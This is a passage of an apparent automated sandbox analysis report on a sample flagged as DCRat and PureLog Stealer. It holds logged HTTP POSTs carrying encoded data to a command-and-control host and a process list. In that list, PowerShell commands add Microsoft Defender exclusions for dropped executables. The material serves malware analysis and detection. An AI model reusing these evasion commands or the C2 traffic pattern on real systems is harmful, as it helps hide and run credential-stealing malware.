
Timestamp	Bytes transferred	Direction	Data
Dec 10, 2024 19:02:43.714245081 CET	323	OUT	POST /Jsmultiwp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Edg/95.0.1020.53 Host: 817087cm.nyashteam.ru Content-Length: 2528 Expect: 100-continue Connection: Keep-Alive
Dec 10, 2024 19:02:44.073729992 CET	2528	OUT	Data Raw: 55 5a 58 5e 5d 58 50 53 5c 56 5b 59 50 55 5a 51 50 5b 59 5a 50 5a 53 5f 5f 58 5d 5d 55 59 58 5f 41 5a 50 5c 5d 57 50 5f 5c 53 57 5a 54 53 52 55 50 50 5f 5e 5c 5f 54 56 56 5e 5e 5f 59 5c 5f 59 54 56 5f 5b 54 5f 51 56 5b 5e 42 59 58 5c 5c 52 53 5a Data Ascii: UZX^]XPS\V[YPUZQP[YZPZS__X]]UYX_AZP\]WP_\SWZTSRUPP_^\_TVV^^_Y\_YTV_[T_QV[^BYX\\RSZ[P_Y_@WT^Z[]UQV\^SPQBX[U\R__GXUIQ[\]^WZ^QXY^\^Y[[PY]\^^X]U^DYXWXT\UUYB_YYS_PT]FU\Z[_X[WHZPZSPWXYY_YY\_#1(,[";:4Y3;8&: ;2;8!2<.+$_" X(
Dec 10, 2024 19:02:45.131669044 CET	25	IN	HTTP/1.1 100 Continue

Session ID	Source IP	Source Port	Destination IP	Destination Port
81	192.168.2.4	50025	104.21.2.8	80

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2024 19:02:45.948451996 CET	323	OUT	POST /Jsmultiwp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Edg/95.0.1020.53 Host: 817087cm.nyashteam.ru Content-Length: 1856 Expect: 100-continue Connection: Keep-Alive
Dec 10, 2024 19:02:46.307441950 CET	1856	OUT	Data Raw: 50 5d 5d 53 5d 5a 55 56 5c 56 5b 59 50 54 5a 50 50 5f 59 5e 50 5b 53 5a 5f 58 5d 5d 55 59 58 5f 41 5a 50 5c 5d 57 50 5f 5c 53 57 5a 54 53 52 55 50 50 5f 5e 5c 5f 54 56 56 5e 5e 5f 59 5c 5f 59 54 56 5f 5b 54 5f 51 56 5b 5e 42 59 58 5c 5c 52 53 5a Data Ascii: P]]S]ZUV\V[YPTZPP_Y^P[SZ_X]]UYX_AZP\]WP_\SWZTSRUPP_^\_TVV^^_Y\_YTV_[T_QV[^BYX\\RSZ[P_Y_@WT^Z[]UQV\^SPQBX[U\R__GXUIQ[\]^WZ^QXY^\^Y[[PY]\^^X]U^DYXWXT\UUYB_YYS_PT]FU\Z[_X[WHZPZSPWXYY_YY\_ 2#)]?Z X"'B*:",'8?Y%Q#%845$;$_" X(
Dec 10, 2024 19:02:47.082741022 CET	25	IN	HTTP/1.1 100 Continue
Dec 10, 2024 19:02:47.375035048 CET	974	IN	HTTP/1.1 200 OK Date: Tue, 10 Dec 2024 18:02:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=SKd1vb%2BeORzk2l7HGhhzPfCq5e%2F0E%2FzECwkaINSgugM0NfjwKTBWE9D%2FPAu%2F2qD%2BGqmt%2BI%2B7f0%2Bncqc7XHsykjEikm0c6d2LChNmYzX5xK0n%2B5MFTQLlcdDSjAFqMRzq5fho97yvNhM%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8eff25db4c7f0c90-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=6762&min_rtt=1510&rtt_var=11072&sent=3&recv=6&lost=0&retrans=0&sent_bytes=25&recv_bytes=2179&delivery_rate=33537&cwnd=209&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 39 38 0d 0a 03 15 24 00 34 02 23 1f 36 0c 2d 5a 3a 07 0d 00 2e 2b 30 06 3a 06 22 06 23 39 2d 07 2d 05 3a 5b 2b 3b 05 59 32 32 2e 58 24 35 2d 19 28 24 28 51 06 1c 25 5b 24 2a 2e 53 2b 59 21 59 25 3d 24 58 3e 37 07 5e 28 2e 0e 0e 34 3b 23 07 26 2d 3c 08 3c 3f 3d 1f 33 3f 29 40 38 1d 0f 5a 26 3d 2a 51 00 16 21 54 3c 0f 23 02 20 20 3e 52 23 22 16 16 28 43 28 00 25 2d 09 09 27 12 00 5c 24 3c 3b 58 24 01 3e 0c 27 3c 28 00 37 2f 3b 53 32 19 23 5d 2d 03 28 57 00 3f 5a 4f 0d 0a 30 0d 0a 0d 0a Data Ascii: 98$4#6-Z:.+0:"#9--:[+;Y22.X$5-($(Q%[$.S+Y!Y%=$X>7^(.4;#&-<<?=3?)@8Z&=Q!T<# >R#"(C(%-'\$<;X$>'<(7/;S2#]-(W?ZO0

Session ID	Source IP	Source Port	Destination IP	Destination Port
82	192.168.2.4	50026	104.21.2.8	80

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2024 19:02:46.065228939 CET	323	OUT	POST /Jsmultiwp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Edg/95.0.1020.53 Host: 817087cm.nyashteam.ru Content-Length: 2528 Expect: 100-continue Connection: Keep-Alive
Dec 10, 2024 19:02:46.417625904 CET	2528	OUT	Data Raw: 55 5e 58 5a 5d 5f 50 54 5c 56 5b 59 50 59 5a 59 50 5b 59 59 50 5e 53 5a 5f 58 5d 5d 55 59 58 5f 41 5a 50 5c 5d 57 50 5f 5c 53 57 5a 54 53 52 55 50 50 5f 5e 5c 5f 54 56 56 5e 5e 5f 59 5c 5f 59 54 56 5f 5b 54 5f 51 56 5b 5e 42 59 58 5c 5c 52 53 5a Data Ascii: U^XZ]_PT\V[YPYZYP[YYP^SZ_X]]UYX_AZP\]WP_\SWZTSRUPP_^\_TVV^^_Y\_YTV_[T_QV[^BYX\\RSZ[P_Y_@WT^Z[]UQV\^SPQBX[U\R__GXUIQ[\]^WZ^QXY^\^Y[[PY]\^^X]U^DYXWXT\UUYB_YYS_PT]FU\Z[_X[WHZPZSPWXYY_YY\_#\&U1<7!Q;*$-#Z4'(#]&8)U#(>;Y8 !?/+$_" X(3
Dec 10, 2024 19:02:47.479852915 CET	25	IN	HTTP/1.1 100 Continue
Dec 10, 2024 19:02:48.008861065 CET	817	IN	HTTP/1.1 200 OK Date: Tue, 10 Dec 2024 18:02:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ghti4rcf9oRine677McN6JIZxmZxfgX%2BNuIs36SkEOAwe2Vae9mVVGCWThIQme6A5nrXi8S7NNtNslpDl9S6%2BeUrvOh4CZ%2FhU%2BQuZzoBnbQjtvE06%2FqjYz8VTHzQN7ddPxp4b0G7JY8%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8eff25dd4ba2d78f-NRT alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=172256&min_rtt=165817&rtt_var=75061&sent=3&recv=6&lost=0&retrans=0&sent_bytes=25&recv_bytes=2851&delivery_rate=6717&cwnd=31&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 31 5d 5e 56 0d 0a 30 0d 0a 0d 0a Data Ascii: 41]^V0

Session ID	Source IP	Source Port	Destination IP	Destination Port
83	192.168.2.4	50032	104.21.2.8	80

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2024 19:02:48.257383108 CET	299	OUT	POST /Jsmultiwp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Edg/95.0.1020.53 Host: 817087cm.nyashteam.ru Content-Length: 2528 Expect: 100-continue
Dec 10, 2024 19:02:48.604316950 CET	2528	OUT	Data Raw: 50 5e 58 58 5d 58 55 56 5c 56 5b 59 50 58 5a 50 50 5f 59 5e 50 5c 53 59 5f 58 5d 5d 55 59 58 5f 41 5a 50 5c 5d 57 50 5f 5c 53 57 5a 54 53 52 55 50 50 5f 5e 5c 5f 54 56 56 5e 5e 5f 59 5c 5f 59 54 56 5f 5b 54 5f 51 56 5b 5e 42 59 58 5c 5c 52 53 5a Data Ascii: P^XX]XUV\V[YPXZPP_Y^P\SY_X]]UYX_AZP\]WP_\SWZTSRUPP_^\_TVV^^_Y\_YTV_[T_QV[^BYX\\RSZ[P_Y_@WT^Z[]UQV\^SPQBX[U\R__GXUIQ[\]^WZ^QXY^\^Y[[PY]\^^X]U^DYXWXT\UUYB_YYS_PT]FU\Z[_X[WHZPZSPWXYY_YY\_#'#%[=<7!(@=B> $+?^1;5U78%Y//"1,$_" X(7
Dec 10, 2024 19:02:49.456684113 CET	25	IN	HTTP/1.1 100 Continue
Dec 10, 2024 19:02:49.735419989 CET	809	IN	HTTP/1.1 200 OK Date: Tue, 10 Dec 2024 18:02:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=p%2BketRQRpoY9LXYjIRj7e641Qi5g1mw7Fom%2BTq2lcFwal6KQbgi%2FoB1YdtUQZrZdSItm5zXScXwW0jlYFXrpW46EWwktyW3x5KcDOyzRghO1zC%2FkrxfEhEz79vFJYd5WcUFHAMcHDUY%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8eff25e9cb434251-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=10412&min_rtt=2008&rtt_var=17561&sent=5&recv=8&lost=0&retrans=0&sent_bytes=25&recv_bytes=2827&delivery_rate=21085&cwnd=247&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 31 5d 5e 56 0d 0a Data Ascii: 41]^V
Dec 10, 2024 19:02:49.927356005 CET	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
84	192.168.2.4	50038	104.21.2.8	80

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2024 19:02:50.179615974 CET	299	OUT	POST /Jsmultiwp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Edg/95.0.1020.53 Host: 817087cm.nyashteam.ru Content-Length: 2528 Expect: 100-continue
Dec 10, 2024 19:02:50.526494026 CET	2528	OUT	Data Raw: 50 5d 5d 52 5d 5e 50 50 5c 56 5b 59 50 5e 5a 58 50 5f 59 5e 50 55 53 54 5f 58 5d 5d 55 59 58 5f 41 5a 50 5c 5d 57 50 5f 5c 53 57 5a 54 53 52 55 50 50 5f 5e 5c 5f 54 56 56 5e 5e 5f 59 5c 5f 59 54 56 5f 5b 54 5f 51 56 5b 5e 42 59 58 5c 5c 52 53 5a Data Ascii: P]]R]^PP\V[YP^ZXP_Y^PUST_X]]UYX_AZP\]WP_\SWZTSRUPP_^\_TVV^^_Y\_YTV_[T_QV[^BYX\\RSZ[P_Y_@WT^Z[]UQV\^SPQBX[U\R__GXUIQ[\]^WZ^QXY^\^Y[[PY]\^^X]U^DYXWXT\UUYB_YYS_PT]FU\Z[_X[WHZPZSPWXYY_YY\_#1U"=,#5C>':#/4$&5T +2;]6+S/+$_" X(/
Dec 10, 2024 19:02:51.594438076 CET	25	IN	HTTP/1.1 100 Continue
Dec 10, 2024 19:02:52.141336918 CET	823	IN	HTTP/1.1 200 OK Date: Tue, 10 Dec 2024 18:02:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=T0dm0yzWHGfOoY6E8pjSB0%2F78L%2F9%2Fy6Ky4wvPMUazSmaEt0CX58GvQ5S8kON1USLKIiw1APlunDBuBRI4vCIjb3LYPB1sLfY9fS%2Bs%2By7833BUSOmy4%2FsRzOHtUC%2FY%2FKK1AbuBcBz31w%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8eff25f6f95cd780-NRT alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=174063&min_rtt=168307&rtt_var=74627&sent=4&recv=6&lost=0&retrans=0&sent_bytes=25&recv_bytes=2827&delivery_rate=6811&cwnd=31&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 31 5d 5e 56 0d 0a 30 0d 0a 0d 0a Data Ascii: 41]^V0

Session ID	Source IP	Source Port	Destination IP	Destination Port
85	192.168.2.4	50044	104.21.2.8	80

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2024 19:02:52.380320072 CET	299	OUT	POST /Jsmultiwp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Edg/95.0.1020.53 Host: 817087cm.nyashteam.ru Content-Length: 2528 Expect: 100-continue

Session ID	Source IP	Source Port	Destination IP	Destination Port
86	192.168.2.4	50045	104.21.2.8	80

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2024 19:02:52.672097921 CET	323	OUT	POST /Jsmultiwp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Edg/95.0.1020.53 Host: 817087cm.nyashteam.ru Content-Length: 1856 Expect: 100-continue Connection: Keep-Alive
Dec 10, 2024 19:02:53.026397943 CET	1856	OUT	Data Raw: 55 5c 58 5a 5d 59 55 56 5c 56 5b 59 50 5e 5a 5d 50 59 59 5b 50 5b 53 5b 5f 58 5d 5d 55 59 58 5f 41 5a 50 5c 5d 57 50 5f 5c 53 57 5a 54 53 52 55 50 50 5f 5e 5c 5f 54 56 56 5e 5e 5f 59 5c 5f 59 54 56 5f 5b 54 5f 51 56 5b 5e 42 59 58 5c 5c 52 53 5a Data Ascii: U\XZ]YUV\V[YP^Z]PYY[P[S[_X]]UYX_AZP\]WP_\SWZTSRUPP_^\_TVV^^_Y\_YTV_[T_QV[^BYX\\RSZ[P_Y_@WT^Z[]UQV\^SPQBX[U\R__GXUIQ[\]^WZ^QXY^\^Y[[PY]\^^X]U^DYXWXT\UUYB_YYS_PT]FU\Z[_X[WHZPZSPWXYY_YY\_ %#?<",@>4" Y0;7\&T7,/62(;$_" X(/
Dec 10, 2024 19:02:54.095129967 CET	25	IN	HTTP/1.1 100 Continue
Dec 10, 2024 19:02:54.628938913 CET	962	IN	HTTP/1.1 200 OK Date: Tue, 10 Dec 2024 18:02:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=US4bdHoIQW3ClRwEwZm4DQPeAbqKUdMtjhBYslZatxvIqFchVBio8KdPlRK71m69NGiffVcIQTsn%2BkVb2du2T6K1XJI4o0SLcj9hkEls3OAVwE2tkbFdbl96xuN%2Fnk8sV%2Bvv1CaqBdk%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8eff260698e2eb6e-NRT alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=171344&min_rtt=165679&rtt_var=73459&sent=3&recv=6&lost=0&retrans=0&sent_bytes=25&recv_bytes=2179&delivery_rate=6919&cwnd=31&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 39 38 0d 0a 03 15 24 06 37 38 23 50 20 32 2e 00 39 07 3c 5a 2e 2b 2f 15 3a 3b 2e 05 36 39 2a 5f 3a 12 39 07 3c 3b 27 5e 26 1c 26 59 24 25 2d 1a 3e 0e 28 51 06 1c 25 16 25 2a 04 53 3f 01 00 02 27 04 2f 07 3d 0e 2a 03 28 2e 2b 1a 22 2b 1a 16 26 3d 33 52 2b 06 31 52 33 2c 35 41 2e 30 22 01 26 3d 2a 51 00 16 21 53 2b 21 3b 02 37 0e 08 57 21 54 34 5d 28 25 0a 02 24 03 0e 1d 24 05 22 5c 33 02 20 05 33 01 32 0d 27 2f 3b 15 23 3f 23 50 32 23 23 5d 2d 03 28 57 00 3f 5a 4f 0d 0a 30 0d 0a 0d 0a Data Ascii: 98$78#P 2.9<Z.+/:;.69_:9<;'^&&Y$%->(Q%%S?'/=(.+"+&=3R+1R3,5A.0"&=Q!S+!;7W!T4](%$$"\3 32'/;#?#P2##]-(W?ZO0

Session ID	Source IP	Source Port	Destination IP	Destination Port
87	192.168.2.4	50046	104.21.2.8	80

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2024 19:02:52.679960966 CET	323	OUT	POST /Jsmultiwp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Edg/95.0.1020.53 Host: 817087cm.nyashteam.ru Content-Length: 2528 Expect: 100-continue Connection: Keep-Alive
Dec 10, 2024 19:02:53.026241064 CET	2528	OUT	Data Raw: 55 55 5d 59 5d 58 55 54 5c 56 5b 59 50 5f 5a 58 50 5c 59 58 50 5a 53 5d 5f 58 5d 5d 55 59 58 5f 41 5a 50 5c 5d 57 50 5f 5c 53 57 5a 54 53 52 55 50 50 5f 5e 5c 5f 54 56 56 5e 5e 5f 59 5c 5f 59 54 56 5f 5b 54 5f 51 56 5b 5e 42 59 58 5c 5c 52 53 5a Data Ascii: UU]Y]XUT\V[YP_ZXP\YXPZS]_X]]UYX_AZP\]WP_\SWZTSRUPP_^\_TVV^^_Y\_YTV_[T_QV[^BYX\\RSZ[P_Y_@WT^Z[]UQV\^SPQBX[U\R__GXUIQ[\]^WZ^QXY^\^Y[[PY]\^^X]U^DYXWXT\UUYB_YYS_PT]FU\Z[_X[WHZPZSPWXYY_YY\_#' 5<?!') ,3;7%+.7([,,7_"7;+$_" X(+
Dec 10, 2024 19:02:54.096431017 CET	25	IN	HTTP/1.1 100 Continue
Dec 10, 2024 19:02:54.601216078 CET	813	IN	HTTP/1.1 200 OK Date: Tue, 10 Dec 2024 18:02:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=mWTg8TkN8S5FV53BHUe%2FBocTe4H3Q8hK8H24IuOqb1fH8uVzAWC2WtStnzg5kw7cVb9H0kcgz%2FEInTdYv31e6NL5x8OrKCT7qOKeA0ySI5s8sGWpe%2Fp8F0MAvFlifkGFtJOOjiGvpf0%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8eff26069cbadeb9-NRT alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=171633&min_rtt=166077&rtt_var=73391&sent=4&recv=6&lost=0&retrans=0&sent_bytes=25&recv_bytes=2851&delivery_rate=6934&cwnd=31&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 31 5d 5e 56 0d 0a 30 0d 0a 0d 0a Data Ascii: 41]^V0

Session ID	Source IP	Source Port	Destination IP	Destination Port
88	192.168.2.4	50052	104.21.2.8	80

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2024 19:02:54.853212118 CET	299	OUT	POST /Jsmultiwp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Edg/95.0.1020.53 Host: 817087cm.nyashteam.ru Content-Length: 2520 Expect: 100-continue
Dec 10, 2024 19:02:55.198138952 CET	2520	OUT	Data Raw: 55 5d 5d 5a 5d 59 55 51 5c 56 5b 59 50 5d 5a 58 50 59 59 54 50 5f 53 58 5f 58 5d 5d 55 59 58 5f 41 5a 50 5c 5d 57 50 5f 5c 53 57 5a 54 53 52 55 50 50 5f 5e 5c 5f 54 56 56 5e 5e 5f 59 5c 5f 59 54 56 5f 5b 54 5f 51 56 5b 5e 42 59 58 5c 5c 52 53 5a Data Ascii: U]]Z]YUQ\V[YP]ZXPYYTP_SX_X]]UYX_AZP\]WP_\SWZTSRUPP_^\_TVV^^_Y\_YTV_[T_QV[^BYX\\RSZ[P_Y_@WT^Z[]UQV\^SPQBX[U\R__GXUIQ[\]^WZ^QXY^\^Y[[PY]\^^X]U^DYXWXT\UUYB_YYS_PT]FU\Z[_X[WHZPZSPWXYY_YY\_#2#1( X#'/>71Z /X'+71>#81/7^68;$_" X('
Dec 10, 2024 19:02:55.997744083 CET	25	IN	HTTP/1.1 100 Continue
Dec 10, 2024 19:02:56.496227026 CET	816	IN	HTTP/1.1 200 OK Date: Tue, 10 Dec 2024 18:02:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=mO1UzAqAwYN6lAq6hUtQg56WahiXc2RA6qpXnABL52igsbJ07euIxhtNF%2BM9E9Bt4lyRi5FDbPCds%2Bi2k9Z9E2ei7KFTx2y8j%2Fc0r%2BskrYUk4uN6PYuhcy%2Fd%2FJh9OPQmSs0wj0NPiIk%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8eff261308cac431-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=3967&min_rtt=1737&rtt_var=5112&sent=5&recv=8&lost=0&retrans=0&sent_bytes=25&recv_bytes=2819&delivery_rate=74562&cwnd=228&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 31 5d 5e 56 0d 0a 30 0d 0a 0d 0a Data Ascii: 41]^V0

Target ID:	0
Start time:	13:00:11
Start date:	10/12/2024
Path:	C:\Users\user\Desktop\0wdppTE7Op.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\Desktop\0wdppTE7Op.exe"
Imagebase:	0x150000
File size:	1'960'960 bytes
MD5 hash:	6706364C78566C589C6C45217E852B02
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_DCRat_1, Description: Yara detected DCRat, Source: 00000000.00000002.1799154968.00000000129D7000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 00000000.00000000.1666969105.0000000000152000.00000002.00000001.01000000.00000003.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	13:00:15
Start date:	10/12/2024
Path:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\dj33wjwl\dj33wjwl.cmdline"
Imagebase:	0x7ff7c2910000
File size:	2'759'232 bytes
MD5 hash:	F65B029562077B648A6A5F6A1AA76A66
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	13:00:15
Start date:	10/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	13:00:15
Start date:	10/12/2024
Path:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES8919.tmp" "c:\Windows\System32\CSCC8A66A2F354641BDBF8E147B9A2D7E9B.TMP"
Imagebase:	0x7ff7b1870000
File size:	52'744 bytes
MD5 hash:	C877CBB966EA5939AA2A17B6A5160950
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	13:00:16
Start date:	10/12/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"powershell" -Command Add-MpPreference -ExclusionPath 'C:\Users\All Users\Microsoft OneDrive\SSnsduzASLgjHWjPpweraeKhUEuCEv.exe'
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	13:00:16
Start date:	10/12/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files\Windows NT\TableTextService\SSnsduzASLgjHWjPpweraeKhUEuCEv.exe'
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	13:00:16
Start date:	10/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	25
Start time:	13:00:16
Start date:	10/12/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"powershell" -Command Add-MpPreference -ExclusionPath 'C:\Windows\RemotePackages\RemoteApps\SSnsduzASLgjHWjPpweraeKhUEuCEv.exe'
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	13:00:16
Start date:	10/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	27
Start time:	13:00:16
Start date:	10/12/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"powershell" -Command Add-MpPreference -ExclusionPath 'C:\Windows\twain_32\SSnsduzASLgjHWjPpweraeKhUEuCEv.exe'
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	28
Start time:	13:00:17
Start date:	10/12/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"powershell" -Command Add-MpPreference -ExclusionPath 'C:\Windows\Temp\Crashpad\SSnsduzASLgjHWjPpweraeKhUEuCEv.exe'
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	29
Start time:	13:00:17
Start date:	10/12/2024
Path:	C:\Windows\System32\conhost.exe
